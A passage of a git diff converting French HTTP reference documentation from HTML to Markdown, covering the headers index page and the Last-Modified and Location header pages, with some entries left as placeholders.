spécifie des directives pour les mécanismes de mise en cache dans les requêtes et les réponses.
+
{{HTTPHeader("Clear-Site-Data")}}
+
nettoie les données de navigation (mouchards (cookies), stockage et cache) associé au site demandé.
+
{{HTTPHeader("Expires")}}
+
la date et l'heure après lesquelles la réponse est considérée comme périmée.
+
{{HTTPHeader("Pragma")}}
+
en-tête spécifique à la mise en œuvre pouvant avoir divers effets le long de la chaîne de requête-réponse. Utilisé pour la rétrocompatibilité avec les caches HTTP / 1.0 où l'en-tête Cache-Control n'est pas encore présent.
+
{{HTTPHeader("Warning")}}
+
un champ d'avertissement général contenant des informations sur les problèmes possibles.
+
+ +

Astuces client

+ +

Les {{Glossary("Client_hints", "astuces clients")}} HTTP sont enc cours de création. La documentation actuelle est disponible sur le site du groupe de travail sur HTTP.

+ +
+
{{HTTPHeader("Accept-CH")}} {{experimental_inline}}
+
les serveurs peuvent informer de leur niveau de support pour les Client Hints en utilisant l'en-tête Accept-CH ou en HTML avec l'élément <meta> ayant l'attribut http-equiv ([HTML5]).
+
{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}
+
les serveurs peuvent demander au client de mémoriser l'ensemble des Client Hints que le serveur supporte pour une période de temps donnée, afin de permettre la livraison de Client Hints sur les requêtes suivantes vers l'origine du serveur ([RFC6454]).
+
{{HTTPHeader("Content-DPR")}} {{experimental_inline}}
+
un nombre indiquant le rapport entre le nombre de pixels physiques et le nombre de pixels CSS de l'image réponse sélectionnée.
+
{{HTTPHeader("DPR")}} {{experimental_inline}}
+
un nombre indiquant le Device Pixel Ratio (DPR) actuel du client, qui est le rapport du nombre de pixels physiques sur le nombre de pixels CSS (Section 5.2 of [CSSVAL]) de la zone d'affichage (Section 9.1.1 of [CSS2]) sur l'appareil.
+
{{HTTPHeader("Device-Memory")}} {{experimental_inline}}
+
faisant techniquement partie de l'API Device Memory, cet en-tête représente la quantité approximative de mémoire vive dont le client dispose.
+
{{HTTPHeader("Early-Data")}} {{experimental_inline}}
+
indique que les requêtes doivent être communiquées en TLS early data.
+
{{HTTPHeader("Save-Data")}} {{experimental_inline}}
+
booléen indiquant les préférences de l'agent utilisateur pour réduire la quantité de données transmises.
+
{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}
+
la largeur de la zone d'affichage, soit le nombre de pixels CSS. La valeur fournise est arrondie au plus grand proche supérieur. Si Viewport-Width apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.
+
{{HTTPHeader("Width")}} {{experimental_inline}}
+
l'en-tête de requête Width représente la largeur de la ressource voulue en nombre de pixels physiques. La valeur fournise est arrondie au plus proche entier supérieur. Si la largeur de la ressource voulue est inconnue quand la requête ou la ressource n'a pas de largeur d'affichage, l'en-tête Width peut être omise. Si Width apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.
+
+ +

Conditionnels

+ +
+
{{HTTPHeader("Last-Modified")}}
+
c'est un validateur, la dernière date de modification de la ressource, utilisée pour comparer plusieurs versions de la même ressource. Il est moins précis que {{HTTPHeader("ETag")}}, mais plus facile à calculer dans certains environnements. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Unmodified-Since")}} utilisent cette valeur pour modifier le comportement de la requête.
+
{{HTTPHeader("ETag")}}
+
c'est un validateur, une chaîne unique identifiant la version de la ressource. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Match")}} et {{HTTPHeader("If-None-Match")}} utilisent cette valeur pour changer le comportement de la requête.
+
{{HTTPHeader("If-Match")}}
+
rend la requête conditionnelle et n'applique la méthode que si la ressource stockée correspond à l'un des ETags donnés.
+
{{HTTPHeader("If-None-Match")}}
+
rend la requête conditionnelle et n'applique la méthode que si la ressource stockée ne correspond à aucun des ETags donnés. Ceci est utilisé pour mettre à jour les caches (pour les requêtes sécurisées), ou pour empêcher de télécharger une nouvelle ressource lorsqu'elle existe déjà.
+
{{HTTPHeader("If-Modified-Since")}}
+
rend la requête conditionnelle et attend que l'entité soit transmise seulement si elle a été modifiée après la date donnée. Ceci est utilisé pour transmettre des données uniquement lorsque le cache est obsolète.
+
{{HTTPHeader("If-Unmodified-Since")}}
+
rend la demande conditionnelle et attend que l'entité soit transmise seulement si elle n'a pas été modifiée après la date donnée. Ceci est utilisé pour assurer la cohérence d'un nouveau fragment d'une plage spécifique avec les précédentes, ou pour implémenter un système de contrôle de concurrence optimiste lors de la modification de documents existants.
+
{{HTTPHeader("Vary")}}
+
détermine comment faire correspondre les futurs en-têtes de demande pour décider si une réponse mise en cache peut être utilisée plutôt que d'en demander une nouvelle au serveur d'origine.
+
+ +

Gestion de connexion

+ +
+
{{HTTPHeader("Connection")}}
+
contrôle si la connexion réseau reste ouverte après la fin de la transaction en cours.
+
{{HTTPHeader("Keep-Alive")}}
+
contrôle la durée pendant laquelle une connexion persistante doit rester ouverte.
+
+ +

Négociation de contenu

+ +
+
{{HTTPHeader("Accept")}}
+
informe le serveur des types de données pouvant être renvoyés. C'est un type MIME.
+
{{HTTPHeader("Accept-Charset")}}
+
informe le serveur du jeu de caractères que le client peut comprendre.
+
{{HTTPHeader("Accept-Encoding")}}
+
informe le serveur sur l'algorithme de codage, généralement un algorithme de compression, qui peut être utilisé sur la ressource renvoyée.
+
{{HTTPHeader("Accept-Language")}}
+
informe le serveur de la langue que le serveur doit renvoyer. Ceci est un indice et n'est pas nécessairement sous le contrôle total de l'utilisateur : le serveur doit toujours faire attention à ne pas remplacer un choix explicite de l'utilisateur (telle la sélection d'une langue dans une liste déroulante).
+
+ +

Contrôles

+ +
+
{{HTTPHeader("Expect")}}
+
indique ce qui est attendu de la part du serveur afin de pouvoier gérer correctement la requête.
+
{{HTTPHeader("Max-Forwards")}}
+
...
+
+ +

Cookies

+ +
+
{{HTTPHeader("Cookie")}}
+
contient les cookies HTTP stockés précédemment envoyés par le serveur à l'aide de l'en-tête {{HTTPHeader("Set-Cookie")}}.
+
{{HTTPHeader("Set-Cookie")}}
+
envoie des cookies du serveur à l'agent utilisateur.
+
{{HTTPHeader("Cookie2")}} {{obsolete_inline}}
+
utilisé pour contenir un cookie HTTP, précédemment envoyé par le serveur avec l'en-tête {{HTTPHeader("Set-Cookie2")}}, mais qui a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Cookie")}} à la place.
+
{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}
+
utilisé pour envoyer des cookies du serveur à l'agent utilisateur, mais a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Set-Cookie")}} à la place.
+
+ +

Cross-Origin Resource Sharing (CORS)

+ +
+
{{HTTPHeader("Access-Control-Allow-Origin")}}
+
indique si la réponse peut être partagée.
+
{{HTTPHeader("Access-Control-Allow-Credentials")}}
+
indique si la réponse à la demande peut être exposée lorsque l'indicateur d'informations d'identification est vrai.
+
{{HTTPHeader("Access-Control-Allow-Headers")}}
+
utilisé en réponse à une demande de contrôle en amont pour indiquer quels en-têtes HTTP peuvent être utilisés lors de la requête effective.
+
{{HTTPHeader("Access-Control-Allow-Methods")}}
+
spécifie la ou les méthodes autorisées lors de l'accès à la ressource en réponse à une demande de contrôle en amont.
+
{{HTTPHeader("Access-Control-Expose-Headers")}}
+
indique en-têtes pouvant être exposés dans le cadre de la réponse en listant leurs noms.
+
{{HTTPHeader("Access-Control-Max-Age")}}
+
indique la durée pendant laquelle les résultats d'une demande de contrôle en amont peuvent être mis en cache.
+
{{HTTPHeader("Access-Control-Request-Headers")}}
+
utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur les en-têtes HTTP qui seront utilisés lors de la requête effective.
+
{{HTTPHeader("Access-Control-Request-Method")}}
+
Utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur la méthode HTTP à utiliser lors de la requête.
+
{{HTTPHeader("Origin")}}
+
indique l'origine d'une consultation.
+
{{HTTPHeader("Timing-Allow-Origin")}}
+
spécifie les origines autorisées à voir les valeurs des attributs récupérés via les fonctionnalités de l'API Resource Timing, qui seraient autrement signalées comme étant zéro en raison des restrictions d'origines croisées.
+
+ +

Ne pas suivre

+ +
+
{{HTTPHeader("DNT")}}
+
utilisé pour exprimer la préférence de suivi de l'utilisateur.
+
{{HTTPHeader("Tk")}}
+
indique l'état de suivi appliqué à la demande correspondante.
+
+ +

Téléchargements

+ +
+
{{HTTPHeader("Content-Disposition")}}
+
est un en-tête de réponse si la ressource transmise doit être affichée en ligne (comportement par défaut lorsque l'en-tête n'est pas présent), ou doit être traitée comme un téléchargement et le navigateur doit présenter une fenêtre "Enregistrer sous".
+
+ +

Informations sur le corps du message

+ +
+
{{HTTPHeader("Content-Length")}}
+
indique la taille du corps d'entité, en nombre décimal d'octets, envoyée au destinataire.
+
{{HTTPHeader("Content-Type")}}
+
indique le type de média de la ressource.
+
{{HTTPHeader("Content-Encoding")}}
+
utilisé pour spécifier l'algorithme de compression.
+
{{HTTPHeader("Content-Language")}}
+
décrit la (les) langue(s) destinée(s) à l'audience, de sorte qu'elle permette à l'utilisateur de se différencier en fonction de la langue préférée de l'utilisateur.
+
{{HTTPHeader("Content-Location")}}
+
indique un emplacement pour les données renvoyées.
+
+ +

Proxies

+ +
+
{{HTTPHeader("Forwarded")}}
+
contient des informations du côté client des serveurs proxy qui sont modifiées ou perdues lorsqu'un proxy est impliqué dans le chemin de la requête.
+
{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}
+
identifie les adresses IP d'origine d'un client se connectant à un serveur Web via un proxy HTTP ou un répartiteur de charge.
+
{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}
+
identifie l'hôte d'origine demandé à un client pour se connecter à votre proxy ou à votre équilibreur de charge.
+
{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}
+
identifie le protocole (HTTP ou HTTPS) utilisé par un client pour se connecter à votre proxy ou votre équilibreur de charge.
+
{{HTTPHeader("Via")}}
+
ajoutés par des proxies, directs et inverses, et peuvent apparaître dans les en-têtes de requête et les en-têtes de réponse.
+
+ +

Redirection

+ +
+
{{HTTPHeader("Location")}}
+
indique l'URL de la page de redirection.
+
+ +

Contexte de requête

+ +
+
{{HTTPHeader("From")}}
+
contient une adresse électronique Internet pour un utilisateur humain qui contrôle l'agent utilisateur demandeur.
+
{{HTTPHeader("Host")}}
+
indique le nom de domaine du serveur (pour l'hébergement virtuel) et (facultativement) le numéro de port TCP sur lequel le serveur écoute.
+
{{HTTPHeader("Referer")}}
+
L'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
+
{{HTTPHeader("Referrer-Policy")}}
+
indique quelles informations de provenance envoyées dans l'en-tête {{HTTPHeader("Referer")}} doivent être incluses dans les requêtes effectuées.
+
{{HTTPHeader("User-Agent")}}
+
contient une chaîne caractéristique qui permet aux homologues du protocole réseau d'identifier le type d'application, le système d'exploitation, le fournisseur du logiciel ou la version du logiciel de l'agent utilisateur du logiciel demandeur. Voir aussi la référence de chaîne de l'agent utilisateur Firefox.
+
+ +

Contexte de réponse

+ +
+
{{HTTPHeader("Allow")}}
+
répertorie l'ensemble des méthodes de requête HTTP prises en charge par une ressource.
+
{{HTTPHeader("Server")}}
+
contient des informations sur le logiciel utilisé par le serveur d'origine pour gérer la demande.
+
+ +

Demandes de plage

+ +
+
{{HTTPHeader("Accept-Ranges")}}
+
indique si le serveur prend en charge les demandes de plage et, le cas échéant, dans quelle unité la plage peut être exprimée.
+
{{HTTPHeader("Range")}}
+
indique la partie d'un document que le serveur doit renvoyer.
+
{{HTTPHeader("If-Range")}}
+
crée une requête de plage conditionnelle qui n'est remplie que si l'étiquette et la date correspondent à la ressource distante. Utilisé pour empêcher le téléchargement de deux plages à partir d'une version incompatible de la ressource.
+
{{HTTPHeader("Content-Range")}}
+
situe une partie de message à l'intérieur du corps d'un message entier.
+
+ +

Sécurité

+ +
+
{{HTTPHeader("Cross-Origin-Embedder-Policy")}} ({{Glossary("COEP")}})
+
autorise un serveur à déclarer une règlementation sur les contenus embarqués pour un document donné.
+
+ +
+
{{HTTPHeader("Cross-Origin-Opener-Policy")}} ({{Glossary("COOP")}})
+
interdit les autres domaines d'ouvrir ou de contrôler une fenêtre.
+
+ +
+
{{HTTPHeader("Cross-Origin-Resource-Policy")}} ({{Glossary("CORP")}})
+
interdit les autre domaines de lire la réponse des ressources si cet en-tête leur est appliqué.
+
+ +
+
{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})
+
contrôle les ressources que l'agent utilisateur est autorisé à charger pour une page donnée.
+
{{HTTPHeader("Content-Security-Policy-Report-Only")}}
+
permet aux développeurs web d'expérimenter des stratégies en surveillant (mais non en appliquant) leurs effets. Ces rapports de violation sont constitués de documents {{Glossary("JSON")}} envoyés via une requête HTTP POST à l'URI spécifié.
+
{{HTTPHeader("Expect-CT")}}
+
permet aux sites de contrôler de manière stricte ou non l'adhérence aux règles de transparence des certificats, permettant ainsi de limiter les utilisations frauduleuses du certificat associé au site grâce à une vérification publique.
+
{{HTTPHeader("Feature-Policy")}}
+
permet d'autoriser ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans les cadres embarqués.
+
{{HTTPHeader("Origin-Isolation")}} {{experimental_inline}}
+
permet aux application web d'isoler leurs origines.
+
{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})
+
force la communication en utilisant HTTPS au lieu de HTTP.
+
{{HTTPHeader("Upgrade-Insecure-Requests")}}
+
envoie un signal au serveur exprimant la préférence du client pour une réponse chiffrée et authentifiée, et qu'il peut gérer avec succès la directive {{CSP("upgrade-insecure-requests")}}.
+
{{HTTPHeader("X-Content-Type-Options")}}
+
désactive le repérage MIME et force le navigateur à utiliser le type donné dans {{HTTPHeader("Content-Type")}}.
+
{{HTTPHeader("X-Download-Options")}}
+
indique que le navigateur (Internet Explorer uniquement) ne doit pas affiche l'option permettant d'ouvrir un fichier qui a été téléchargé depuis une application, pour empêcher les attaques par hameçonnage puisque le fichier pourrait autrement obtenir le droit de s'exécuter dans le contexte de l'application. Note : voir le bogue MS Edge associé.
+
{{HTTPHeader("X-Frame-Options")}} (XFO)
+
indique si un navigateur doit être autorisé à afficher une page dans un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}.
+
{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}
+
Sépcifie si un fichier de règlementation interdomaines (crossdomain.xml) est autorisé. Ce fichier peut définir une règle pour accorder aux clients (comme Adobe Flash Player, Adobe Acrobat, Microsoft Silverlight ou Apache Flex) la permission de gérer des données entre domaines qui seraient autrement restreintes à cause de Same-Origin Policy. Voir la spécification Cross-domain Policy File pour plus d'informations.
+
{{HTTPHeader("X-Powered-By")}}
+
peut être défini par l'environnement hôte ou par d'autres cadriciels, il contient des informations sur eux sans fournir aucun information utile à l'application ni aux visiteurs. Désactivez cet en-tête pour éviter d'exposer des informations et des vulnérabilités potentielles.
+
{{HTTPHeader("X-XSS-Protection")}}
+
active le filtrage de script intersite.
+
+ +

HTTP Public Key Pinning {{Glossary("HPKP")}}

+ +

HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificate Transparency et {{HTTPHeader("Expect-CT")}}.

+ +
+
{{HTTPHeader("Public-Key-Pins")}}
+
associe une clé publique cryptographique spécifique à un certain serveur web pour réduire le risque d'attaques {{Glossary("MitM")}} à l'aide de certificats falsifiés.
+
{{HTTPHeader("Public-Key-Pins-Report-Only")}}
+
envoie des rapports au report-uri spécifié dans l'en-tête et permet toujours aux clients de se connecter au serveur même si l'association à la clé cryptographique est violée.
+
+ +

En-têtes de requêtes de métadonnées

+ +
+
{{HTTPHeader("Sec-Fetch-Site")}}
+
en-tête de requête indiquant la relation entre l'origine ayant initiée la requête et l'origine cible ; c'est un en-tête srtucutré dont la valeur peut être cross-site, same-origin, same-site ou none.
+
{{HTTPHeader("Sec-Fetch-Mode")}}
+
en-tête de requête indiquant le mode de requête à un serveur ; c'est un en-tête structuré dont la valeur peut être cors, navigate, nested-navigate, no-cors, same-origin ou websocket.
+
{{HTTPHeader("Sec-Fetch-User")}}
+
en-tête de requête indiquant si une requête de navigation a été déclenchée ou non par une action de l'utilisateur ; c'est un en-tête structuré dont la valeur est un booléen, soit ?0 ou pour faux et ?1 pour vrai.
+
{{HTTPHeader("Sec-Fetch-Dest")}}
+
en-tête de requête indiquant la destination de la requête à un serveur ; c'est un en-tête structuré dont la valeur peut être audio, audioworklet, document, embed, empty, font, image, manifest, object, paintworklet, report, script, serviceworker, sharedworker, style, track, video, worker, xslt ou nested-document.
+
+ +

Évènements envoyés par le serveur

+ +
+
{{HTTPHeader("Last-Event-ID")}}
+
...
+
{{HTTPHeader("NEL")}} {{experimental_inline}}
+
permet aux développeurs de déclarer une règlementation de rapportage d'erreur réseau.
+
{{HTTPHeader("Ping-From")}}
+
...
+
{{HTTPHeader("Ping-To")}}
+
...
+
{{HTTPHeader("Report-To")}}
+
utilisé pour spécifier un serveur de destination pour que le navigateur puisse y envoyer des rapports d'avertissements ou d'erreurs.
+
+ +

Codage de transfert

+ +
+
{{HTTPHeader("Transfer-Encoding")}}
+
spécifie la forme de codage utilisée pour transférer en toute sécurité l'entité à l'utilisateur.
+
{{HTTPHeader("TE")}}
+
spécifie les encodages de transfert que l'agent utilisateur est prêt à accepter.
+
{{HTTPHeader("Trailer")}}
+
permet à l'expéditeur d'inclure des champs supplémentaires à la fin du message segmenté.
+
+ +

WebSockets

+ +
+
{{HTTPHeader("Sec-WebSocket-Key")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Extensions")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Accept")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Protocol")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Version")}}
+
...
+
+ +

Autres

+ +
+
{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}
+
...
+
{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}
+
...
+
{{HTTPHeader("Alt-Svc")}}
+
...
+
{{HTTPHeader("Date")}}
+
contient la date et l'heure à laquelle le message a été généré.
+
{{HTTPHeader("Large-Allocation")}}
+
indique au navigateur que la page en cours de chargement souhaite effectuer une allocation importante.
+
{{HTTPHeader("Link")}}
+
...
+
{{HTTPHeader("Push-Policy")}} {{experimental_inline}}
+
...
+
{{HTTPHeader("Retry-After")}}
+
indique combien de temps l'agent utilisateur doit attendre avant de faire une autre demande consécutive.
+
{{HTTPHeader("Signature")}} {{experimental_inline}}
+
communique une liste de signatures pour un échange, chacune accompagnée d'informations sur la manière de déterminer son autorité et de rafraichir cette signature.
+
{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}
+
identifie une liste ordonnée de champs d'en-tête de réponse à inclure dans une signature.
+
{{HTTPHeader("Server-Timing")}}
+
communique un ou plusieurs indicateurs et descriptions pour le cycle requête-réponse donné.
+
{{HTTPHeader("Service-Worker-Allowed")}}
+
utilisé pour supprimer la restriction de chemin en incluant cet en-tête dans la réponse d'un script Service Worker.
+
{{HTTPHeader("SourceMap")}}
+
liens ayant généré du code sur une source.
+
{{HTTPHeader("Upgrade")}}
+
le document RFC associé pour le champ d'en-tête Upgrade est RFC 7230, section 6.7. Le standard établit des règles pour la mise à niveau ou la modification d'un protocole différent sur le client, le serveur et la connexion au protocole de transport actuels. Par exemple, cette norme d'en-tête permet à un client de passer de HTTP 1.1 à HTTP 2.0, en supposant que le serveur décide de reconnaître et d'implémenter le champ d'en-tête Upgrade. Une requête de ce type ne peut etre contraignante et le serveur peut répondre en utilisant le protocole initial. Il peut être utilisé dans les en-têtes client et serveur. Si le champ d'en-tête Upgrade est spécifié, l'expéditeur DOIT également envoyer le champ d'en-tête Connection avec l'option de mise à niveau spécifiée. Pour plus de détails sur le champ d'en-tête Connection, veuillez vous reporter à la section 6.1 du RFC susmentionné.
+
{{HTTPHeader("X-DNS-Prefetch-Control")}}
+
contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc.
+
{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}
+
...
+
{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}
+
...
+
{{HTTPHeader("X-Requested-With")}}
+
...
+
{{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}}
+
indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à <meta name="robots" content="...">
+
{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}
+
Utilisé par Internet Explorer pour signaler quel mode de document utiliser.
+
+ +

Contribuer

+ +

Vous pouvez contribuer en ajoutant un nouvel en-tête à la liste ou en améliorant la documentation existante.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/last-modified/index.html b/files/fr/web/http/headers/last-modified/index.html deleted file mode 100644 index fb9408d5b2..0000000000 --- a/files/fr/web/http/headers/last-modified/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Last-Modified -slug: Web/HTTP/Headers/Last-Modified -tags: - - Entête de Réponse - - Entêtes HTTP - - HTTP - - Reference -translation_of: Web/HTTP/Headers/Last-Modified ---- -
{{HTTPSidebar}}
- -

L'entête HTTP de réponse Last-Modified contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ.

- - - - - - - - - - - - - - - - -
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple response header", "CORS-safelisted response-header")}}oui
- -

Syntaxe

- -
Last-Modified: <nom-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
-
- -

Directives

- -
-
<nom-jour>
-
Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).
-
<jour>
-
Jour sur 2 chiffres, par ex. "04" ou "23".
-
<mois>
-
Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
-
<année>
-
Millésime sur 4 chiffres, par ex. "1990" ou "2016".
-
<heure>
-
Heure sur 2 chiffres, par ex. "09" ou "23".
-
<minute>
-
Minute sur 2 chiffres, par ex. "04" ou "59".
-
<seconde>
-
Seconde sur 2 chiffres, par ex. "04" ou "59".
-
GMT
-
-

Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.

-
-
- -

Exemples

- -
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7232", "Last-Modified", "2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
- -

Compatibilité navigateurs

- -

{{Compat("http.headers.Last-Modified")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/last-modified/index.md b/files/fr/web/http/headers/last-modified/index.md new file mode 100644 index 0000000000..fb9408d5b2 --- /dev/null +++ b/files/fr/web/http/headers/last-modified/index.md @@ -0,0 +1,90 @@ +--- +title: Last-Modified +slug: Web/HTTP/Headers/Last-Modified +tags: + - Entête de Réponse + - Entêtes HTTP + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Last-Modified +--- +
{{HTTPSidebar}}
+ +

L'entête HTTP de réponse Last-Modified contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ.

+ + + + + + + + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple response header", "CORS-safelisted response-header")}}oui
+ +

Syntaxe

+ +
Last-Modified: <nom-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
+
+ +

Directives

+ +
+
<nom-jour>
+
Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).
+
<jour>
+
Jour sur 2 chiffres, par ex. "04" ou "23".
+
<mois>
+
Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
+
<année>
+
Millésime sur 4 chiffres, par ex. "1990" ou "2016".
+
<heure>
+
Heure sur 2 chiffres, par ex. "09" ou "23".
+
<minute>
+
Minute sur 2 chiffres, par ex. "04" ou "59".
+
<seconde>
+
Seconde sur 2 chiffres, par ex. "04" ou "59".
+
GMT
+
+

Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.

+
+
+ +

Exemples

+ +
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7232", "Last-Modified", "2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibilité navigateurs

+ +

{{Compat("http.headers.Last-Modified")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/location/index.html b/files/fr/web/http/headers/location/index.html deleted file mode 100644 index 2a6447e69e..0000000000 --- a/files/fr/web/http/headers/location/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Location -slug: Web/HTTP/Headers/Location -translation_of: Web/HTTP/Headers/Location ---- -
{{HTTPSidebar}}
- -

L'en-tête de réponse Location indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état 3xx (redirection) ou 201 (créé).

- -

En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par Location dépend la méthode d'origine et du type de redirection :

- - - -

Toutes les réponses avec l'un de ces codes d'état envoient un en-tête Location.

- -

En cas de création de ressource, il indique l'URL de la ressource nouvellement créée.

- -

Location et {{HTTPHeader("Content-Location")}} sont différents : Location indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Location: <url>
-
- -

Directives

- -
-
<url>
-
Une URL relative (à l'URL de la demande) ou absolue.
-
- -

Exemples

- -
Location: /index.html
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "Location", "7.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité navigateurs

- -

{{Compat("http.headers.Location")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/location/index.md b/files/fr/web/http/headers/location/index.md new file mode 100644 index 0000000000..2a6447e69e --- /dev/null +++ b/files/fr/web/http/headers/location/index.md @@ -0,0 +1,76 @@ +--- +title: Location +slug: Web/HTTP/Headers/Location +translation_of: Web/HTTP/Headers/Location +--- +
{{HTTPSidebar}}
+ +

L'en-tête de réponse Location indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état 3xx (redirection) ou 201 (créé).

+ +

En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par Location dépend la méthode d'origine et du type de redirection :

+ + + +

Toutes les réponses avec l'un de ces codes d'état envoient un en-tête Location.

+ +

En cas de création de ressource, il indique l'URL de la ressource nouvellement créée.

+ +

Location et {{HTTPHeader("Content-Location")}} sont différents : Location indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Location: <url>
+
+ +

Directives

+ +
+
<url>
+
Une URL relative (à l'URL de la demande) ou absolue.
+
+ +

Exemples

+ +
Location: /index.html
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Location", "7.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité navigateurs

+ +

{{Compat("http.headers.Location")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/origin/index.html b/files/fr/web/http/headers/origin/index.html deleted file mode 100644 index 85498197f0..0000000000 --- a/files/fr/web/http/headers/origin/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Origin -slug: Web/HTTP/Headers/Origin -tags: - - Reference -translation_of: Web/HTTP/Headers/Origin ---- -
{{HTTPSidebar}}
- -

